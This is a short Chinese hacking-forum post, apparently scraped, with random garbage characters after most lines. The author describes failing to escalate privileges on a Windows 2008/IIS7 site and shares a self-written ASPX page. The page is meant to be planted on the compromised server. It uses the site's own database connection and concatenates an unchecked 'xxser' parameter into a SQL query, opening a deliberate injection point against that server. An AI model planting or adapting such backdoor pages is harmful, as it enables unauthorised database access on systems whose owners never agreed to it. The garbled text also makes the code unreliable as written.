昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
' t$ l7 s# a. C! ?其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
* U( @( `2 ]; `0 l- G代码量不多,自己写个拉倒了。烦死了。% Y6 s/ p/ o- b- B+ }. N7 w
! l4 k: M) E$ p8 v+ G$ A9 G
0 w9 I9 S) H0 |5 p% A" {2 C; c$ j<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">+ X" K2 z; d2 b& a( l3 E; L% W9 I
<html xmlns="http://www.w3.org/1999/xhtml">1 S! N4 f/ k# X7 a: A) o4 ~5 G$ w
<head runat="server">
2 G, H0 M1 T) g <title>暗影aspx构造注射专用页面</title>+ w* v5 f3 e J! H+ B
</head> ] R; q( G) t; r
<body>2 ]+ {: a1 A7 X" L3 O
<form id="form1" runat="server">
3 t% o; b1 z. x <div>
& q; i! R. J; w* a% v" n <script language="c#" runat="server">
% D- B$ v) u# q2 ^# K- x " @' f1 f; K; @# O- k1 o
void page_init(object sender, EventArgs e)
! Y% _/ n8 i1 o" M [* P {
2 R9 ^5 f, p6 C6 J. P# n3 { 8 j% j8 S; U" s! W8 T
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();% h+ b3 m0 \' u' E/ ]+ g7 a
6 R1 l, Y) |2 t% f: j conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();5 t: Q) }9 a) v1 `
conn.Open();
$ r2 {% d; l L6 K- U+ P" S
8 X3 g! \. A/ r) C string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
% Z* i6 G( B" O$ y7 H " X, W# ?* @2 K# j# O
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);6 Z6 Z# j! b' y/ B3 ?$ ~3 K; A
int x = command.ExecuteNonQuery();- {8 L4 X* v& E; W+ t
Response.Write(i+"\n");' n0 `2 P3 X+ e
Response.Write(x);
# e$ ^# }6 F: M$ e/ P conn.Close();
; a* V1 R( L* ^( m' W E# c, y }
% n. ?( m$ I' M* d
- ~: |. C A% F8 ~* }! ]! n; E </script>% O7 a8 L* q0 N) Z' w( [1 @; s
</div>6 D) D# m% u" {* z7 T
</form>
% e9 B2 a) `4 g+ ?; R, Q2 z</body>
& v8 h* n* Q& h7 N0 @% L</html>
) C x" M+ M' H8 B |